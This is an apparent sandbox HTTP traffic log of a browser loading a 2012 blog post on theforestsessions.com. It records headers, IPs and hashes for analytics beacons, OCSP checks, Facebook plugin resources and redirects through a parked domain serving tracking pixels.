Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Content-Encoding: gzip
Strict-Transport-Security: max-age=15552000; preload
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Expires: Fri, 13 Dec 2019 19:39:32 GMT
Cache-Control: public,max-age=31536000,immutable
X-FB-Debug: HVn9XzvwKs4BneNTw4b8WoP3bz1TXZP/5m07VJQnfOsqOeKfrv9xYUObUpvhiCjRF+5Tc3DuJWM+Qzw6veL7Ig==
Date: Fri, 14 Dec 2018 22:07:52 GMT
Connection: keep-alive
Content-Length: 12738


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   12738
Md5:    23aeb80b97b56212aefa6bd21ef97d24
Sha1:   5c0b9c31e0801f6f4712e0ee69f4fd49e52a8bee
Sha256: 890a633da5bdc5a18555b9d8ea9c34323bf7446900884e6529da7e8de0234a1b
                                        
                                            GET /px.gif?ch=1&rn=7.407939215005305 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:53 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:41 GMT
Connection: keep-alive
Etag: "5c1014d5-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /px.gif?ch=2&rn=7.407939215005305 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:53 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:49 GMT
Connection: keep-alive
Etag: "5c1014dd-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.20.46
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 14 Dec 2018 22:07:53 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    950b7d6770609ebbdaeb885269c99b68
Sha1:   60cce6961bfb9c283ed2d3c483dc7ce2e664bf15
Sha256: 544da2989ce9420f61de077e8f258fe8b36f436dc32f7a10c1d45cf7d5a02fd6
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         172.217.20.46
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 14 Dec 2018 22:07:53 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    d9d754520ae3340aa37cca6115eee05b
Sha1:   a0320372760d99c762cb2eb4b37f776625ef1b33
Sha256: 7dc8284c51c9a38dc1bf03bd28857ea5336e8f5c564eddbb1c9082ee43c93738
                                        
                                            GET /ga.js HTTP/1.1 
Host: ssl.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         216.58.207.232
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
timing-allow-origin: *
Date: Fri, 14 Dec 2018 20:11:52 GMT
Expires: Fri, 14 Dec 2018 22:11:52 GMT
Last-Modified: Mon, 05 Nov 2018 21:10:09 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 17168
Cache-Control: public, max-age=7200
Age: 6961
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17168
Md5:    01d5892e6e243b52998310c2925b9f3a
Sha1:   58180151b6a6ee4af73583a214b68efb9e8844d4
Sha256: 7e90efb4620a78e8869796d256bcddbde90b853c8c15c5cc116cb11d3d17bc4d
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Fri, 14 Dec 2018 22:07:53 GMT
Server: Apache
X-Powered-By: PHP/5.6.38-0+deb8u1
Set-Cookie: __tad=1544825273.5980659; expires=Mon, 11-Dec-2028 22:07:53 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /r/__utm.gif?utmwv=5.7.2&utms=1&utmn=277732157&utmhn=bandcamp.com&utmcs=UTF-8&utmsr=1176x885&utmvp=166x626&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmhid=1639503296&utmr=http%3A%2F%2Ftheforestsessions.com%2Fblog%2Fblog%2F2012%2F09%2F18%2Fle-polair%2F&utmp=%2FEmbeddedPlayer.html%2Fref%3Dhttp%2525253A%2525252F%2525252Ftheforestsessions.com%2525252Fblog%2525252Fblog%2525252F2012%2525252F09%2525252F18%2525252Fle-polair%2525252F%2Falbum%3D2437981243%2Fsize%3Dlarge%2Fbgcol%3D333333%2Flinkcol%3Dffffff%2Ftransparent%3Dtrue%2F&utmht=1544825273325&utmac=UA-4189134-2&utmcc=__utma%3D241114640.2118390487.1544825273.1544825273.1544825273.1%3B%2B__utmz%3D241114640.1544825273.1.1.utmcsr%3Dtheforestsessions.com%7Cutmccn%3D(referral)%7Cutmcmd%3Dreferral%7Cutmcct%3D%2Fblog%2Fblog%2F2012%2F09%2F18%2Fle-polair%2F%3B&utmjid=1588482162&utmredir=1&utmu=qDAAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1 
Host: ssl.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         216.58.207.232
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Location: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-4189134-2&cid=2118390487.1544825273&jid=1588482162&_v=5.7.2&z=277732157
Access-Control-Allow-Origin: *
Date: Fri, 14 Dec 2018 22:07:53 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
Server: Golfe2
Content-Length: 369
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  HTML document text
Size:   369
Md5:    148fb1d404bc41698c9d2e4a24ab01b7
Sha1:   e0315e28558ce9539f8e7e5da3f02a4a0d1220cb
Sha256: 18d80efcfa8b53408df429eb33599eb6fff9216f1becd2bbae5d0db6ef0472df
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.20.46
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 14 Dec 2018 22:07:53 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    58ea5668033339ed6403b4ffd6d43fae
Sha1:   c4456eeaf6ea95eb32b1dc36122d05590985a37e
Sha256: e04e988923b5a853f7696434037800deb27816337052f2a4635f138af4eae273
                                        
                                            GET /snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_gQw6h21Q4na69599QC1XS5wyeKeOE0kYBjkC/xmBasumTTHhpgwRc9CKICndSxOX27Eivf+T/M3LU7r9y+6YMQ==


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   3936
Md5:    e1ec6a601eaa96f62b036d75c49e9aad
Sha1:   9433dce3dd05bbd77fd5377a5742feff8eb92ff2
Sha256: 0014835a58aadbe1a7d1df55ddfc18338e6ad2a2779063bcc1f42ebf44b392fa
                                        
                                            GET /r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-4189134-2&cid=2118390487.1544825273&jid=1588482162&_v=5.7.2&z=277732157 HTTP/1.1 
Host: stats.g.doubleclick.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         74.125.131.155
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Date: Fri, 14 Dec 2018 22:07:53 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
                                            GET /px.gif?ch=1&rn=4.967025644101489 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:53 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:41 GMT
Connection: keep-alive
Etag: "5c1014d5-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /px.gif?ch=2&rn=4.967025644101489 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:53 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:49 GMT
Connection: keep-alive
Etag: "5c1014dd-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /px.gif?ch=2&rn=4.797119862320938 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=Lepolair%20%3A%20Gouge%20away%20remix%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: openresty
Date: Fri, 14 Dec 2018 22:07:55 GMT
Content-Length: 42
Last-Modified: Tue, 11 Dec 2018 19:49:41 GMT
Connection: keep-alive
Etag: "5c1014d5-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224191420; 60gp=R4049272857; PHPSESSID=fe869948f42b4cde40ca9e42e4eca3ac

                                         
                                         213.186.33.19
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Set-Cookie: 60gp=R4049272857; path=/; expires=Fri, 14-Dec-2018 23:21:18 GMT
Date: Fri, 14 Dec 2018 22:07:56 GMT
Server: Apache
Content-Length: 209
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   209
Md5:    18ffb59b61525f781cf9251045be575d
Sha1:   bd7318b00b15b7a1c8a48524419fa2e5c27a5b6d
Sha256: b6682cab65d3243b5b75efb7279dbf49491957484780f2ba0a87632cc0e25642
                                        
                                            GET /rsrc.php/v3/yc/l/0,cross/goZOoFtquE3.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Tue, 10 Dec 2019 17:11:32 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: NbscjDr1ua6jOz6hd90TVw==
X-FB-Debug: DOmdWjNODrmEqQf7FUuPkTTd74TemYaRo4/ZPLGu9D+neulFEz35SjrQvQuLK4XDx1RQ/R8kf8yt75ZvjH9s8g==
Date: Fri, 14 Dec 2018 22:07:56 GMT
Connection: keep-alive
Content-Length: 7712


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7712
Md5:    35bb1c8c3af5b9aea33b3ea177dd1357
Sha1:   df5312cadc824998e0765a8e68c84c564f8f2483
Sha256: d573c9ae1fc6192f9b57058a10be25058eb8d78fc4ed3e1b12f21b6bb2634203
                                        
                                            GET /rsrc.php/v3/yz/l/0,cross/Xb_9gYkflDY.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 19:55:12 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: OzDEJNqvyYGX5hJ5oTh0yQ==
X-FB-Debug: W/gdkzNMyQVYs4gxPMf23lK1AgThpZuywv8xw+mjiCQORm29PFHbBWfMYUrkVEtxy2U7ElDdkHzUJtH8AC78bA==
Date: Fri, 14 Dec 2018 22:07:56 GMT
Connection: keep-alive
Content-Length: 2199


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   2199
Md5:    3b30c424daafc98197e61279a13874c9
Sha1:   e02b3893db5febec27c9bf05279a91605fbdcfa7
Sha256: 649017c09c1c632cea01f46188e628b501c2254b27e2dea7f5318c0751f10765
                                        
                                            GET /plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/blog/2012/09/18/le-polair/

                                         
                                         31.13.72.36
HTTP/1.1 200 OK
Content-Type: text/html; charset="utf-8"
                                        
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=15552000; preload
Content-Encoding: gzip
timing-allow-origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Expires: Sat, 01 Jan 2000 00:00:00 GMT
X-FB-Debug: OWH4p4bdPWwUrydWAHiXEPkq6Q6/cKmd7uSpNcix7z8vOPQg4YUbtWn5gsbzN7PUfN/uRkDxqv+0VCfmBMD9yA==
Date: Fri, 14 Dec 2018 22:07:56 GMT
Transfer-Encoding: chunked
Connection: keep-alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   171242
Md5:    4c181626962d3ecc38234c821b16bc61
Sha1:   60c3c38a28edcb396ae5c4e91f392d0329bbe29d
Sha256: 447894ac6e86fc7b303437d30ca5d851d2bcc30331a7bf4b8f2ddf8602ce9a78
                                        
                                            GET /rsrc.php/v3/yU/r/zw52CMcsfFo.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
